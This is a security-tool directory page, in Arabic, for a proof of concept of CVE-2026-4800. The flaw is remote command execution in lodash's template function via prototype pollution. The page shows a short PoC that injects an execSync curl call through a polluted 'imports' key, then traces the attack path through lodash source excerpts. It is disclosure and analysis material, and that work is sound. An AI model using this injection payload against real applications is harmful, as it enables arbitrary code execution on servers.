Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-4800-POC — إثبات مفهوم يوضح تنفيذ الأوامر عن بُعد في قالب lodash عبر تلويث النموذج الأولي، مع تحليل مفصّل لمسار الهجوم وتقنية الاستغلال. | Kitploit
أدوات/GitHubGitHub/threalwinky/cve-2026-4800-poc
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويبتطوير الحمولات
GitHubthrealwinky/cve-2026-4800-poc

CVE-2026-4800-POC

إثبات مفهوم يوضح تنفيذ الأوامر عن بُعد في قالب lodash عبر تلويث النموذج الأولي، مع تحليل مفصّل لمسار الهجوم وتقنية الاستغلال.

عرض المستودع
35منذ 5 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-4800-POC

نشرة أمنية

https://github.com/lodash/lodash/security/advisories/GHSA-r5fr-rjxr-66jc

إثبات المفهوم (POC)

root@kitploit:~
const _ = require('lodash');
Object.prototype.imports = {'x=process.getBuiltinModule("child_process").execSync("curl https://example.com")':undefined}
_.template('', {});

alt text

التدفق

  • استخدام ثغرة تلويث النموذج الأولي (prototype pollution) السابقة لتلويث Object.prototype.imports بخاصية يتحكم بها المهاجم

  • بعد ذلك، يتم استدعاء _.template('', {}) بقيمة خيارات عادية من نوع كائن بسيط (plain-object)

  • داخل _.template()، تقوم lodash بنسخ options باستخدام assignInWith({}, options, settings, ...) في lodash.js:14877

  • root@kitploit:~
    function template(string, options, guard) {
          // Based on John Resig's `tmpl` implementation
          // (http://ejohn.org/blog/javascript-micro-templating/)
          // and Laura Doktorova's doT.js (https://github.com/olado/doT).
          var settings = lodash.templateSettings;
    
          if (guard && isIterateeCall(string, options, guard)) {
            options = undefined;
          }
          string = toString(string);
          options = assignInWith({}, options, settings, customDefaultsAssignIn);
    
    
    ...
    
    • يستخدم assignInWith الدالة keysIn(source) في lodash.js:12778
    root@kitploit:~
        var assignInWith = createAssigner(function(object, source, srcIndex, customizer) {
          copyObject(source, keysIn(source), object, customizer);
        });
    
    
    • تتضمن keysIn() الخصائص الموروثة القابلة للتعداد في lodash.js:13440
    root@kitploit:~
        function keysIn(object) {
          return isArrayLike(object) ? arrayLikeKeys(object, true) : baseKeysIn(object);
        }
    
    
    • نظرًا لأن كائن الخيارات هو {} عادي، فإنه يرث خاصية imports الملوثة من Object.prototype، وتقوم lodash بنسخ تلك القيمة الموروثة إلى options.imports المحلية

    • تقوم lodash بعد ذلك ببناء imports باستخدام assignInWith({}, options.imports, settings.imports, ...) في lodash.js:14889، وتستخرج importsKeys في lodash.js:14889، وتمررها إلى Function(importsKeys, ...) في lodash.js:14957

    root@kitploit:~
    ...
    
          // Cleanup code by stripping empty strings.
          source = (isEvaluating ? source.replace(reEmptyStringLeading, '') : source)
            .replace(reEmptyStringMiddle, '$1')
            .replace(reEmptyStringTrailing, '$1;');
    
          // Frame code as the function body.
          source = 'function(' + (variable || 'obj') + ') {\n' +
            (variable
              ? ''
              : 'obj || (obj = {});\n'
            ) +
            "var __t, __p = ''" +
            (isEscaping
               ? ', __e = _.escape'
               : ''
            ) +
            (isEvaluating
              ? ', __j = Array.prototype.join;\n' +
                "function print() { __p += __j.call(arguments, '') }\n"
              : ';\n'
            ) +
            source +
            'return __p\n}';
    
          var result = attempt(function() {
            return Function(importsKeys, sourceURL + 'return ' + source)
              .apply(undefined, importsValues);
          });
    
    ...
    
    • يتم التعامل مع مفتاحي الملوث كمعامل رسمي (formal parameter) مع تعبير افتراضي:

      root@kitploit:~
      x=process.getBuiltinModule("child_process").execSync("curl https://example.com")
      
    تنزيل الأداة